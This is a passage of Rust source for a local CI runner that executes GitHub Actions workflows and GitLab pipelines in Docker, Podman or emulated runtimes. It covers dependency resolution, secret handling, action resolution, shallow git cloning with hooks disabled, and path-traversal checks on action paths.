1#[allow(unused_imports)]
2use bollard::Docker;
3use futures::future;
4use serde_yaml::Value;
5use std::collections::HashMap;
6use std::fs;
7use std::path::{Path, PathBuf};
8use thiserror::Error;
10
11use ignore::{gitignore::GitignoreBuilder, Match};
12
13use crate::action_resolver;
14use crate::dependency;
15use crate::docker;
16use crate::environment;
17use crate::podman;
18use wrkflw_logging;
19use wrkflw_matrix::MatrixCombination;
20use wrkflw_models::gitlab::Pipeline;
21use wrkflw_parser::gitlab::{self, parse_pipeline};
22use wrkflw_parser::workflow::{
23 self, parse_workflow, ActionInfo, Job, JobContainer, Step, WorkflowDefinition,
24};
25use wrkflw_runtime::container::{ContainerRuntime, COMBINED_IMAGE_PREFIX};
26use wrkflw_runtime::emulation;
27use wrkflw_secrets::{SecretConfig, SecretManager, SecretMasker, SecretSubstitution};
28
29#[allow(unused_variables, unused_assignments)]
30pub async fn execute_workflow(
32 workflow_path: &Path,
33 config: ExecutionConfig,
34) -> Result<ExecutionResult, ExecutionError> {
35 wrkflw_logging::info(&format!("Executing workflow: {}", workflow_path.display()));
36 wrkflw_logging::info(&format!("Runtime: {:?}", config.runtime_type));
37
38 let is_gitlab = is_gitlab_pipeline(workflow_path);
40
41 if is_gitlab {
42 execute_gitlab_pipeline(workflow_path, config.clone()).await
43 } else {
44 execute_github_workflow(workflow_path, config.clone()).await
45 }
46}
47
48fn is_gitlab_pipeline(path: &Path) -> bool {
50 if let Some(file_name) = path.file_name() {
52 if let Some(file_name_str) = file_name.to_str() {
53 return file_name_str == ".gitlab-ci.yml" || file_name_str.ends_with("gitlab-ci.yml");
54 }
55 }
56
57 if let Ok(content) = fs::read_to_string(path) {
59 if content.contains("stages:")
61 || content.contains("before_script:")
62 || content.contains("after_script:")
63 {
64 if !content.contains("on:")
66 && !content.contains("runs-on:")
67 && !content.contains("uses:")
68 {
69 return true;
70 }
71 }
72 }
73
74 false
75}
76
77async fn execute_github_workflow(
79 workflow_path: &Path,
80 config: ExecutionConfig,
81) -> Result<ExecutionResult, ExecutionError> {
82 let workflow = parse_workflow(workflow_path)?;
84
85 let execution_plan = dependency::resolve_dependencies(&workflow)?;
87
88 let execution_plan = if let Some(ref target_job) = config.target_job {
90 dependency::filter_plan_to_job(execution_plan, target_job, &workflow.jobs, "workflow")
91 .map_err(ExecutionError::Execution)?
92 } else {
93 execution_plan
94 };
95
96 let runtime = initialize_runtime(
98 config.runtime_type.clone(),
99 config.preserve_containers_on_failure,
100 )?;
101
102 let workspace_dir = tempfile::tempdir()
104 .map_err(|e| ExecutionError::Execution(format!("Failed to create workspace: {}", e)))?;
105
106 let mut env_context = environment::create_github_context(&workflow, workspace_dir.path());
108 let mut user_env: HashMap<String, String> = HashMap::new();
113
114 {
118 let wf_expr_ctx = crate::expression::ExpressionContext {
120 env_context: &env_context,
121 step_outputs: &HashMap::new(),
122 matrix_combination: &None,
123 step_statuses: &HashMap::new(),
124 job_status: "success",
125 secrets_context: &HashMap::new(),
126 needs_context: &HashMap::new(),
127 needs_results: &HashMap::new(),
128 user_env: &user_env,
129 };
130 let cwd = std::env::current_dir().map_err(|e| {
131 ExecutionError::Execution(format!("Failed to get current directory: {}", e))
132 })?;
133 let resolved_env: Vec<(String, String)> = workflow
134 .env
135 .iter()
136 .map(|(key, value)| {
137 let resolved =
138 crate::substitution::preprocess_expressions(value, &cwd, &wf_expr_ctx)
139 .unwrap_or_else(|_| value.clone());
140 (key.clone(), resolved)
141 })
142 .collect();
143 for (key, value) in resolved_env {
144 env_context.entry(key.clone()).or_insert_with(|| {
149 user_env.insert(key, value.clone());
150 value
151 });
152 }
153 }
154
155 env_context.insert(
157 "WRKFLW_RUNTIME_MODE".to_string(),
158 match config.runtime_type {
159 RuntimeType::Emulation => "emulation".to_string(),
160 RuntimeType::SecureEmulation => "secure_emulation".to_string(),
161 RuntimeType::Docker => "docker".to_string(),
162 RuntimeType::Podman => "podman".to_string(),
163 },
164 );
165
166 env_context.insert(
168 "WRKFLW_HIDE_ACTION_MESSAGES".to_string(),
169 if config.show_action_messages {
170 "false"
171 } else {
172 "true"
173 }
174 .to_string(),
175 );
176
177 environment::setup_github_environment_files(workspace_dir.path()).map_err(|e| {
179 ExecutionError::Execution(format!("Failed to setup GitHub env files: {}", e))
180 })?;
181
182 let secret_manager = if let Some(secrets_config) = &config.secrets_config {
184 Some(
185 SecretManager::new(secrets_config.clone())
186 .await
187 .map_err(|e| {
188 ExecutionError::Execution(format!("Failed to initialize secret manager: {}", e))
189 })?,
190 )
191 } else {
192 Some(SecretManager::default().await.map_err(|e| {
193 ExecutionError::Execution(format!(
194 "Failed to initialize default secret manager: {}",
195 e
196 ))
197 })?)
198 };
199
200 let secret_masker = SecretMasker::new();
201
202 let artifact_store =
204 crate::artifacts::ArtifactStore::new(workspace_dir.path()).map_err(|e| {
205 ExecutionError::Execution(format!("Failed to create artifact store: {}", e))
206 })?;
207
208 let cache_store = crate::cache::CacheStore::new()
210 .map_err(|e| ExecutionError::Execution(format!("Failed to create cache store: {}", e)))?;
211
212 let mut results = Vec::new();
214 let mut has_failures = false;
215 let mut failure_details = String::new();
216 let mut all_job_outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
218 let mut all_job_results: HashMap<String, String> = HashMap::new();
219
220 for job_batch in execution_plan {
221 let job_results = execute_job_batch(
223 &job_batch,
224 &workflow,
225 runtime.as_ref(),
226 &env_context,
227 &user_env,
228 config.verbose,
229 secret_manager.as_ref(),
230 Some(&secret_masker),
231 &all_job_outputs,
232 &all_job_results,
233 &artifact_store,
234 &cache_store,
235 )
236 .await?;
237
238 for job_result in &job_results {
243 if all_job_outputs.contains_key(&job_result.canonical_name)
244 && job_result.name != job_result.canonical_name
245 {
246 wrkflw_logging::warning(&format!(
247 "Matrix job '{}' overwrites outputs for '{}' — \
248 needs.{}.outputs will reflect the last combination only",
249 job_result.name, job_result.canonical_name, job_result.canonical_name,
250 ));
251 }
252 all_job_results.insert(
253 job_result.canonical_name.clone(),
254 job_result.status.to_string(),
255 );
256 all_job_outputs.insert(
257 job_result.canonical_name.clone(),
258 job_result.outputs.clone(),
259 );
260 }
261
262 for job_result in &job_results {
264 if job_result.status == JobStatus::Failure {
265 has_failures = true;
266 failure_details.push_str(&format!(
267 "\n{} Job failed: {}\n",
268 wrkflw_logging::symbols::FAILURE,
269 job_result.name
270 ));
271
272 for step in &job_result.steps {
274 if step.status == StepStatus::Failure {
275 failure_details.push_str(&format!(
276 " {} {}: {}\n",
277 wrkflw_logging::symbols::FAILURE,
278 step.name,
279 step.output
280 ));
281 }
282 }
283 }
284 }
285
286 results.extend(job_results);
287 }
288
289 if has_failures {
291 wrkflw_logging::error(&format!("Workflow execution failed:{}", failure_details));
292 }
293
294 Ok(ExecutionResult {
295 jobs: results,
296 failure_details: if has_failures {
297 Some(failure_details)
298 } else {
299 None
300 },
301 })
302}
303
304async fn execute_gitlab_pipeline(
306 pipeline_path: &Path,
307 config: ExecutionConfig,
308) -> Result<ExecutionResult, ExecutionError> {
309 wrkflw_logging::info("Executing GitLab CI/CD pipeline");
310
311 let pipeline = parse_pipeline(pipeline_path)
313 .map_err(|e| ExecutionError::Parse(format!("Failed to parse GitLab pipeline: {}", e)))?;
314
315 let workflow = gitlab::convert_to_workflow_format(&pipeline);
317
318 let execution_plan = resolve_gitlab_dependencies(&pipeline, &workflow)?;
320
321 let execution_plan = if let Some(ref target_job) = config.target_job {
324 dependency::filter_plan_to_job_by_stage(
325 execution_plan,
326 target_job,
327 &workflow.jobs,
328 "pipeline",
329 )
330 .map_err(ExecutionError::Execution)?
331 } else {
332 execution_plan
333 };
334
335 let runtime = initialize_runtime(
337 config.runtime_type.clone(),
338 config.preserve_containers_on_failure,
339 )?;
340
341 let workspace_dir = tempfile::tempdir()
343 .map_err(|e| ExecutionError::Execution(format!("Failed to create workspace: {}", e)))?;
344
345 let mut env_context = create_gitlab_context(&pipeline, workspace_dir.path());
347
348 env_context.insert(
350 "WRKFLW_RUNTIME_MODE".to_string(),
351 match config.runtime_type {
352 RuntimeType::Emulation => "emulation".to_string(),
353 RuntimeType::SecureEmulation => "secure_emulation".to_string(),
354 RuntimeType::Docker => "docker".to_string(),
355 RuntimeType::Podman => "podman".to_string(),
356 },
357 );
358
359 environment::setup_github_environment_files(workspace_dir.path()).map_err(|e| {
361 ExecutionError::Execution(format!("Failed to setup environment files: {}", e))
362 })?;
363
364 let secret_manager = if let Some(secrets_config) = &config.secrets_config {
366 Some(
367 SecretManager::new(secrets_config.clone())
368 .await
369 .map_err(|e| {
370 ExecutionError::Execution(format!("Failed to initialize secret manager: {}", e))
371 })?,
372 )
373 } else {
374 Some(SecretManager::default().await.map_err(|e| {
375 ExecutionError::Execution(format!(
376 "Failed to initialize default secret manager: {}",
377 e
378 ))
379 })?)
380 };
381
382 let secret_masker = SecretMasker::new();
383
384 let artifact_store =
386 crate::artifacts::ArtifactStore::new(workspace_dir.path()).map_err(|e| {
387 ExecutionError::Execution(format!("Failed to create artifact store: {}", e))
388 })?;
389
390 let cache_store = crate::cache::CacheStore::new()
392 .map_err(|e| ExecutionError::Execution(format!("Failed to create cache store: {}", e)))?;
393
394 let mut results = Vec::new();
396 let mut has_failures = false;
397 let mut failure_details = String::new();
398
399 for job_batch in execution_plan {
400 let job_results = execute_job_batch(
404 &job_batch,
405 &workflow,
406 runtime.as_ref(),
407 &env_context,
408 &HashMap::new(),
411 config.verbose,
412 secret_manager.as_ref(),
413 Some(&secret_masker),
414 &HashMap::new(),
415 &HashMap::new(),
416 &artifact_store,
417 &cache_store,
418 )
419 .await?;
420
421 for job_result in &job_results {
423 if job_result.status == JobStatus::Failure {
424 has_failures = true;
425 failure_details.push_str(&format!(
426 "\n{} Job failed: {}\n",
427 wrkflw_logging::symbols::FAILURE,
428 job_result.name
429 ));
430
431 for step in &job_result.steps {
433 if step.status == StepStatus::Failure {
434 failure_details.push_str(&format!(
435 " {} {}: {}\n",
436 wrkflw_logging::symbols::FAILURE,
437 step.name,
438 step.output
439 ));
440 }
441 }
442 }
443 }
444
445 results.extend(job_results);
446 }
447
448 if has_failures {
450 wrkflw_logging::error(&format!("Pipeline execution failed:{}", failure_details));
451 }
452
453 Ok(ExecutionResult {
454 jobs: results,
455 failure_details: if has_failures {
456 Some(failure_details)
457 } else {
458 None
459 },
460 })
461}
462
463fn create_gitlab_context(pipeline: &Pipeline, workspace_dir: &Path) -> HashMap<String, String> {
465 let mut env_context = HashMap::new();
466
467 env_context.insert("CI".to_string(), "true".to_string());
469 env_context.insert("GITLAB_CI".to_string(), "true".to_string());
470
471 env_context.insert("WRKFLW_CI".to_string(), "true".to_string());
473
474 env_context.insert(
476 "CI_PROJECT_DIR".to_string(),
477 workspace_dir.to_string_lossy().to_string(),
478 );
479
480 env_context.insert(
482 "GITHUB_WORKSPACE".to_string(),
483 workspace_dir.to_string_lossy().to_string(),
484 );
485
486 if let Some(variables) = &pipeline.variables {
488 for (key, value) in variables {
489 env_context.insert(key.clone(), value.clone());
490 }
491 }
492
493 env_context
494}
495
496fn resolve_gitlab_dependencies(
498 pipeline: &Pipeline,
499 workflow: &WorkflowDefinition,
500) -> Result<Vec<Vec<String>>, ExecutionError> {
501 let stages = match &pipeline.stages {
506 Some(defined_stages) => defined_stages.clone(),
507 None => vec![
508 "build".to_string(),
509 "test".to_string(),
510 "deploy".to_string(),
511 ],
512 };
513
514 let mut execution_plan = Vec::new();
516
517 for stage in stages {
519 let mut stage_jobs = Vec::new();
520
521 for (job_name, job) in &pipeline.jobs {
522 if let Some(true) = job.template {
524 continue;
525 }
526
527 let default_stage = "test".to_string();
529 let job_stage = job.stage.as_ref().unwrap_or(&default_stage);
530
531 if job_stage == &stage {
533 stage_jobs.push(job_name.clone());
534 }
535 }
536
537 if !stage_jobs.is_empty() {
538 execution_plan.push(stage_jobs);
539 }
540 }
541
542 let mut stageless_jobs = Vec::new();
544
545 for (job_name, job) in &pipeline.jobs {
546 if let Some(true) = job.template {
548 continue;
549 }
550
551 if job.stage.is_none() {
552 stageless_jobs.push(job_name.clone());
553 }
554 }
555
556 if !stageless_jobs.is_empty() {
557 execution_plan.push(stageless_jobs);
558 }
559
560 Ok(execution_plan)
561}
562
563fn initialize_runtime(
565 runtime_type: RuntimeType,
566 preserve_containers_on_failure: bool,
567) -> Result<Box<dyn ContainerRuntime>, ExecutionError> {
568 match runtime_type {
569 RuntimeType::Docker => {
570 if docker::is_available() {
571 match docker::DockerRuntime::new_with_config(preserve_containers_on_failure) {
573 Ok(docker_runtime) => Ok(Box::new(docker_runtime)),
574 Err(e) => {
575 wrkflw_logging::error(&format!(
576 "Failed to initialize Docker runtime: {}, falling back to emulation mode",
577 e
578 ));
579 Ok(Box::new(emulation::EmulationRuntime::new()))
580 }
581 }
582 } else {
583 wrkflw_logging::error("Docker not available, falling back to emulation mode");
584 Ok(Box::new(emulation::EmulationRuntime::new()))
585 }
586 }
587 RuntimeType::Podman => {
588 if podman::is_available() {
589 match podman::PodmanRuntime::new_with_config(preserve_containers_on_failure) {
591 Ok(podman_runtime) => Ok(Box::new(podman_runtime)),
592 Err(e) => {
593 wrkflw_logging::error(&format!(
594 "Failed to initialize Podman runtime: {}, falling back to emulation mode",
595 e
596 ));
597 Ok(Box::new(emulation::EmulationRuntime::new()))
598 }
599 }
600 } else {
601 wrkflw_logging::error("Podman not available, falling back to emulation mode");
602 Ok(Box::new(emulation::EmulationRuntime::new()))
603 }
604 }
605 RuntimeType::Emulation => Ok(Box::new(emulation::EmulationRuntime::new())),
606 RuntimeType::SecureEmulation => Ok(Box::new(
607 wrkflw_runtime::secure_emulation::SecureEmulationRuntime::new(),
608 )),
609 }
610}
611
612#[derive(Debug, Clone, PartialEq)]
613pub enum RuntimeType {
614 Docker,
615 Podman,
616 Emulation,
617 SecureEmulation,
618}
619
620#[derive(Debug, Clone)]
621pub struct ExecutionConfig {
622 pub runtime_type: RuntimeType,
623 pub verbose: bool,
624 pub preserve_containers_on_failure: bool,
625 pub secrets_config: Option<SecretConfig>,
626 pub show_action_messages: bool,
627 pub target_job: Option<String>,
628}
629
630pub struct ExecutionResult {
631 pub jobs: Vec<JobResult>,
632 pub failure_details: Option<String>,
633}
634
635pub struct JobResult {
636 pub name: String,
637 pub canonical_name: String,
641 pub status: JobStatus,
642 pub steps: Vec<StepResult>,
643 pub logs: String,
644 pub outputs: HashMap<String, String>,
646}
647
648#[derive(Debug, Clone, PartialEq)]
649#[allow(dead_code)]
650pub enum JobStatus {
651 Success,
652 Failure,
653 Skipped,
654}
655
656impl std::fmt::Display for JobStatus {
657 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
658 match self {
659 JobStatus::Success => f.write_str("success"),
660 JobStatus::Failure => f.write_str("failure"),
661 JobStatus::Skipped => f.write_str("skipped"),
662 }
663 }
664}
665
666#[derive(Debug, Clone)]
667pub struct StepResult {
668 pub name: String,
669 pub status: StepStatus,
670 pub output: String,
671 pub outcome: StepStatus,
673 pub conclusion: StepStatus,
675}
676
677impl StepResult {
678 fn new(name: String, status: StepStatus, output: String) -> Self {
680 Self {
681 name,
682 outcome: status,
683 conclusion: status,
684 status,
685 output,
686 }
687 }
688}
689
690#[derive(Debug, Clone, Copy, PartialEq)]
691#[allow(dead_code)]
692pub enum StepStatus {
693 Success,
694 Failure,
695 Skipped,
696}
697
698impl std::fmt::Display for StepStatus {
699 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
700 match self {
701 StepStatus::Success => f.write_str("success"),
702 StepStatus::Failure => f.write_str("failure"),
703 StepStatus::Skipped => f.write_str("skipped"),
704 }
705 }
706}
707
708#[derive(Error, Debug)]
709pub enum ExecutionError {
710 #[error("Parse error: {0}")]
711 Parse(String),
712
713 #[error("Runtime error: {0}")]
714 Runtime(String),
715
716 #[error("Execution error: {0}")]
717 Execution(String),
718
719 #[error("IO error: {0}")]
720 Io(#[from] std::io::Error),
721}
722
723impl From<String> for ExecutionError {
725 fn from(err: String) -> Self {
726 ExecutionError::Parse(err)
727 }
728}
729
730enum PreparedAction {
732 NativeDocker {
736 image: String,
737 entrypoint: Option<String>,
738 args: Vec<String>,
739 },
740 Image(String),
749 Composite,
751}
752
753async fn prepare_action(
755 action: &ActionInfo,
756 runtime: &dyn ContainerRuntime,
757) -> Result<PreparedAction, ExecutionError> {
758 if action.is_docker {
759 let image = action.repository.trim_start_matches("docker://");
761
762 runtime
763 .pull_image(image)
764 .await
765 .map_err(|e| ExecutionError::Runtime(format!("Failed to pull Docker image: {}", e)))?;
766
767 return Ok(PreparedAction::NativeDocker {
768 image: image.to_string(),
769 entrypoint: None,
770 args: vec![],
771 });
772 }
773
774 if action.is_local {
775 let action_dir = Path::new(&action.repository);
777
778 if !action_dir.exists() {
779 return Err(ExecutionError::Execution(format!(
780 "Local action directory not found: {}",
781 action_dir.display()
782 )));
783 }
784
785 let definition: Option<serde_yaml::Value> =
787 std::fs::read_to_string(action_dir.join("action.yml"))
788 .or_else(|_| std::fs::read_to_string(action_dir.join("action.yaml")))
789 .ok()
790 .and_then(|s| serde_yaml::from_str(&s).ok());
791
792 let dockerfile = action_dir.join("Dockerfile");
793 if dockerfile.exists() {
794 let tag = format!("wrkflw-local-action:{}", uuid::Uuid::new_v4());
796
797 runtime
798 .build_image(&dockerfile, &tag, action_dir)
799 .await
800 .map_err(|e| ExecutionError::Runtime(format!("Failed to build image: {}", e)))?;
801
802 let (entrypoint, args) =
803 extract_docker_runs_config(definition.as_ref()).map_err(|e| {
804 ExecutionError::Execution(format!(
805 "Invalid runs config in local action '{}': {}",
806 action.repository, e
807 ))
808 })?;
809
810 return Ok(PreparedAction::NativeDocker {
811 image: tag,
812 entrypoint,
813 args,
814 });
815 } else {
816 if let Some(def) = &definition {
818 if let Some(using) = def
819 .get("runs")
820 .and_then(|r| r.get("using"))
821 .and_then(|u| u.as_str())
822 {
823 if using == "composite" {
824 return Ok(PreparedAction::Composite);
825 }
826 }
827 }
828
829 return Ok(PreparedAction::Image("node:20-slim".to_string()));
831 }
832 }
833
834 if !action.repository.is_empty() && !action.version.is_empty() {
836 match action_resolver::resolve_remote_action(
837 &action.repository,
838 &action.version,
839 action.sub_path.as_deref(),
840 )
841 .await
842 {
843 Ok(resolved) => match &resolved.action_type {
844 action_resolver::ActionType::Node { version } => {
845 let image = format!("node:{}-slim", version);
846 wrkflw_logging::info(&format!(
847 "Resolved action '{}' -> image '{}'",
848 action.repository, image
849 ));
850 return Ok(PreparedAction::Image(image));
851 }
852 action_resolver::ActionType::Docker { image } => {
853 wrkflw_logging::info(&format!(
854 "Resolved action '{}' -> Docker image '{}'",
855 action.repository, image
856 ));
857 let (entrypoint, args) =
858 extract_docker_runs_config(resolved.definition.as_ref()).map_err(|e| {
859 ExecutionError::Execution(format!(
860 "Invalid runs config for action '{}': {}",
861 action.repository, e
862 ))
863 })?;
864 return Ok(PreparedAction::NativeDocker {
865 image: image.clone(),
866 entrypoint,
867 args,
868 });
869 }
870 action_resolver::ActionType::Composite => {
871 wrkflw_logging::info(&format!(
872 "Resolved action '{}' as composite action",
873 action.repository
874 ));
875 return Ok(PreparedAction::Composite);
876 }
877 action_resolver::ActionType::DockerBuild => {
878 wrkflw_logging::info(&format!(
879 "Resolved action '{}' as DockerBuild — cloning and building",
880 action.repository
881 ));
882
883 let tempdir = tempfile::tempdir().map_err(|e| {
888 ExecutionError::Execution(format!("Failed to create temp dir: {}", e))
889 })?;
890 let repo_url = format!("https://github.com/{}.git", action.repository);
891 let repo_dir = tempdir.path().join("action");
892 shallow_clone(&repo_url, &action.version, &repo_dir).await?;
893
894 let action_dir = match &action.sub_path {
896 Some(p) => {
897 sanitize_sub_path(p).map_err(|e| {
898 ExecutionError::Execution(format!(
899 "Invalid sub_path for action '{}': {}",
900 action.repository, e
901 ))
902 })?;
903 repo_dir.join(p)
904 }
905 None => repo_dir.clone(),
906 };
907
908 let canon_action_dir = action_dir.canonicalize().map_err(|e| {
911 ExecutionError::Execution(format!(
912 "Failed to canonicalize action directory: {}",
913 e
914 ))
915 })?;
916 let canon_repo_dir = repo_dir.canonicalize().map_err(|e| {
917 ExecutionError::Execution(format!(
918 "Failed to canonicalize repo directory: {}",
919 e
920 ))
921 })?;
922 if !canon_action_dir.starts_with(&canon_repo_dir) {
923 return Err(ExecutionError::Execution(format!(
924 "Action sub_path escapes repository directory for action '{}'",
925 action.repository
926 )));
927 }
928
929 let dockerfile_raw = resolved
931 .definition
932 .as_ref()
933 .and_then(|d| d.get("runs"))
934 .and_then(|r| r.get("image"))
935 .and_then(|i| i.as_str())
936 .unwrap_or("Dockerfile");
937
938 let dockerfile_rel = sanitize_dockerfile_rel(dockerfile_raw).map_err(|e| {
939 ExecutionError::Execution(format!(
940 "Invalid Dockerfile path for action '{}': {}",
941 action.repository, e
942 ))
943 })?;
944
945 let dockerfile = action_dir.join(dockerfile_rel);
946
947 if !dockerfile.exists() {
948 return Err(ExecutionError::Execution(format!(
949 "Dockerfile not found at {} for action '{}'",
950 dockerfile.display(),
951 action.repository
952 )));
953 }
954
955 let canon_dockerfile = dockerfile.canonicalize().map_err(|e| {
959 ExecutionError::Execution(format!(
960 "Failed to canonicalize Dockerfile path: {}",
961 e
962 ))
963 })?;
964 if !canon_dockerfile.starts_with(&canon_action_dir) {
965 return Err(ExecutionError::Execution(format!(
966 "Dockerfile path '{}' escapes action directory for action '{}'",
967 dockerfile.display(),
968 action.repository
969 )));
970 }
971
972 let tag = format!("wrkflw-action:{}", uuid::Uuid::new_v4());
974 runtime
975 .build_image(&dockerfile, &tag, &action_dir)
976 .await
977 .map_err(|e| {
978 ExecutionError::Runtime(format!(
979 "Failed to build Dockerfile for action '{}': {}",
980 action.repository, e
981 ))
982 })?;
983
984 let (entrypoint, args) =
985 extract_docker_runs_config(resolved.definition.as_ref()).map_err(|e| {
986 ExecutionError::Execution(format!(
987 "Invalid runs config for action '{}': {}",
988 action.repository, e
989 ))
990 })?;
991 return Ok(PreparedAction::NativeDocker {
992 image: tag,
993 entrypoint,
994 args,
995 });
996 }
997 },
998 Err(e) => {
999 wrkflw_logging::warning(&format!(
1000 "Could not fetch action.yml for {}@{}: {}. Falling back to built-in mapping.",
1001 action.repository, action.version, e
1002 ));
1003 }
1004 }
1005 }
1006
1007 let image = determine_action_image(&action.repository);
1009 Ok(PreparedAction::Image(image))
1010}
1011
1012async fn execute_native_docker_step(
1017 ctx: &StepExecutionContext<'_>,
1018 step_env: &mut HashMap<String, String>,
1019 step_name: String,
1020 uses: &str,
1021 image: String,
1022 entrypoint: Option<String>,
1023 args: Vec<String>,
1024) -> Result<StepResult, ExecutionError> {
1025 let mut with_args_override: Option<String> = None;
1030 let mut entrypoint = entrypoint;
1033 if let Some(with_params) = &ctx.step.with {
1034 for (key, value) in with_params {
1035 step_env.insert(format!("INPUT_{}", key.to_uppercase()), value.clone());
1036 }
1037 if let Some(a) = with_params.get("args") {
1040 with_args_override = Some(a.clone());
1041 }
1042 if let Some(ep) = with_params.get("entrypoint") {
1043 entrypoint = Some(ep.clone());
1044 }
1045 }
1046
1047 let container_workspace = Path::new("/github/workspace");
1048 let mount_ctx = prepare_step_container_context(step_env, ctx.job_env, ctx.container_config);
1049 let volumes = mount_ctx.build_volumes(ctx.working_dir, container_workspace);
1050 let env_vars: Vec<(&str, &str)> = step_env
1051 .iter()
1052 .map(|(k, v)| (k.as_str(), v.as_str()))
1053 .collect();
1054
1055 wrkflw_logging::info(&format!(
1056 "Running Docker action '{}' with image '{}'",
1057 uses, image
1058 ));
1059
1060 let effective_args: Vec<String> = if let Some(ref wa) = with_args_override {
1063 shlex::split(wa).ok_or_else(|| {
1064 ExecutionError::Execution(format!(
1065 "Failed to parse 'with.args' for action '{}': \
1066 unmatched quote in {:?}",
1067 uses, wa
1068 ))
1069 })?
1070 } else {
1071 args
1072 };
1073 let args_refs: Vec<&str> = effective_args.iter().map(|s| s.as_str()).collect();
1074
1075 let output = ctx
1076 .runtime
1077 .run_container(
1078 &image,
1079 &args_refs,
1080 &env_vars,
1081 container_workspace,
1082 &volumes,
1083 entrypoint.as_deref(),
1084 )
1085 .await
1086 .map_err(|e| ExecutionError::Runtime(format!("{}", e)))?;
1087
1088 Ok(StepResult::new(
1089 step_name,
1090 if output.exit_code == 0 {
1091 StepStatus::Success
1092 } else {
1093 StepStatus::Failure
1094 },
1095 format!(
1096 "Exit code: {}\n{}\n{}",
1097 output.exit_code, output.stdout, output.stderr
1098 ),
1099 ))
1100}
1101
1102fn sanitize_sub_path(raw: &str) -> Result<(), String> {
1109 if raw.contains('\0') {
1110 return Err("null byte not allowed in sub_path".to_string());
1111 }
1112 if raw.split(&['/', '\\'][..]).any(|c| c == "..") {
1114 return Err(format!("path traversal not allowed in sub_path: {}", raw));
1115 }
1116 Ok(())
1117}
1118
1119fn sanitize_dockerfile_rel(raw: &str) -> Result<String, String> {
1124 if raw.contains('\0') {
1125 return Err("null byte not allowed in Dockerfile path".to_string());
1126 }
1127 let trimmed = raw
1128 .trim_start_matches("docker://")
1129 .trim_start_matches('/')
1130 .trim_start_matches("./");
1131 if trimmed.is_empty() {
1132 return Err("empty Dockerfile path".to_string());
1133 }
1134 if trimmed.split(&['/', '\\'][..]).any(|c| c == "..") {
1135 return Err(format!("path traversal not allowed: {}", trimmed));
1136 }
1137 Ok(trimmed.to_string())
1138}
1139
1140fn extract_docker_runs_config(
1148 definition: Option<&serde_yaml::Value>,
1149) -> Result<(Option<String>, Vec<String>), String> {
1150 let runs = definition.and_then(|d| d.get("runs"));
1151
1152 let entrypoint = runs
1153 .and_then(|r| r.get("entrypoint"))
1154 .and_then(|v| v.as_str())
1155 .filter(|s| !s.is_empty())
1156 .map(|s| s.to_string());
1157
1158 let args = match runs.and_then(|r| r.get("args")) {
1159 Some(v) => {
1160 if let Some(seq) = v.as_sequence() {
1161 seq.iter()
1163 .map(|v| {
1164 v.as_str().map(|s| s.to_string()).unwrap_or_else(|| {
1165 serde_yaml::to_string(v)
1168 .unwrap_or_default()
1169 .trim()
1170 .to_string()
1171 })
1172 })
1173 .collect()
1174 } else if let Some(s) = v.as_str() {
1175 shlex::split(s).ok_or_else(|| format!("unmatched quote in runs.args: {:?}", s))?
1177 } else {
1178 vec![]
1179 }
1180 }
1181 None => vec![],
1182 };
1183
1184 Ok((entrypoint, args))
1185}
1186
1187async fn shallow_clone(
1194 repo_url: &str,
1195 git_ref: &str,
1196 target_dir: &Path,
1197) -> Result<(), ExecutionError> {
1198 let is_sha = is_git_sha(git_ref);
1199
1200 let no_hooks = ["-c", "core.hooksPath=/dev/null"];
1203
1204 if is_sha {
1205 let init = tokio::process::Command::new("git")
1207 .args(no_hooks)
1208 .arg("init")
1209 .arg(target_dir)
1210 .stdout(std::process::Stdio::null())
1211 .stderr(std::process::Stdio::null())
1212 .status()
1213 .await
1214 .map_err(|e| ExecutionError::Execution(format!("Failed to execute git init: {}", e)))?;
1215 if !init.success() {
1216 return Err(ExecutionError::Execution(format!(
1217 "git init failed for {}",
1218 target_dir.display()
1219 )));
1220 }
1221
1222 let fetch = tokio::process::Command::new("git")
1223 .args(no_hooks)
1224 .arg("-C")
1225 .arg(target_dir)
1226 .arg("fetch")
1227 .arg("--depth")
1228 .arg("1")
1229 .arg("--")
1230 .arg(repo_url)
1231 .arg(git_ref)
1232 .stdout(std::process::Stdio::null())
1233 .stderr(std::process::Stdio::piped())
1234 .output()
1235 .await
1236 .map_err(|e| {
1237 ExecutionError::Execution(format!("Failed to execute git fetch: {}", e))
1238 })?;
1239 if !fetch.status.success() {
1240 let stderr = String::from_utf8_lossy(&fetch.stderr);
1241 return Err(ExecutionError::Execution(format!(
1242 "Failed to fetch {}@{}: {}",
1243 repo_url,
1244 git_ref,
1245 stderr.trim()
1246 )));
1247 }
1248
1249 let checkout = tokio::process::Command::new("git")
1250 .args(no_hooks)
1251 .arg("-C")
1252 .arg(target_dir)
1253 .arg("checkout")
1254 .arg("FETCH_HEAD")
1255 .stdout(std::process::Stdio::null())
1256 .stderr(std::process::Stdio::piped())
1257 .output()
1258 .await
1259 .map_err(|e| {
1260 ExecutionError::Execution(format!("Failed to execute git checkout: {}", e))
1261 })?;
1262 if !checkout.status.success() {
1263 let stderr = String::from_utf8_lossy(&checkout.stderr);
1264 return Err(ExecutionError::Execution(format!(
1265 "Failed to checkout FETCH_HEAD for {}@{}: {}",
1266 repo_url,
1267 git_ref,
1268 stderr.trim()
1269 )));
1270 }
1271 } else {
1272 let output = tokio::process::Command::new("git")
1274 .args(no_hooks)
1275 .arg("clone")
1276 .arg("--depth")
1277 .arg("1")
1278 .arg("--single-branch")
1279 .arg("--branch")
1280 .arg(git_ref)
1281 .arg("--")
1282 .arg(repo_url)
1283 .arg(target_dir)
1284 .stdout(std::process::Stdio::null())
1285 .stderr(std::process::Stdio::piped())
1286 .output()
1287 .await
1288 .map_err(|e| ExecutionError::Execution(format!("Failed to execute git: {}", e)))?;
1289 if !output.status.success() {
1290 let stderr = String::from_utf8_lossy(&output.stderr);
1291 return Err(ExecutionError::Execution(format!(
1292 "Failed to clone {}@{}: {}",
1293 repo_url,
1294 git_ref,
1295 stderr.trim()
1296 )));
1297 }
1298 }
1299
1300 Ok(())
1301}
1302
1303fn is_git_sha(git_ref: &str) -> bool {
1308 git_ref.len() == 40 && git_ref.chars().all(|c| c.is_ascii_hexdigit())
1309}
1310
1311fn determine_action_image(repository: &str) -> String {
1317 if SETUP_ACTIONS.iter().any(|d| d.repos.contains(&repository)) {
1320 return "catthehacker/ubuntu:act-latest".to_string();
1321 }
1322
1323 match repository {
1324 repo if repo.starts_with("docker/") => "docker:latest".to_string(),
1326
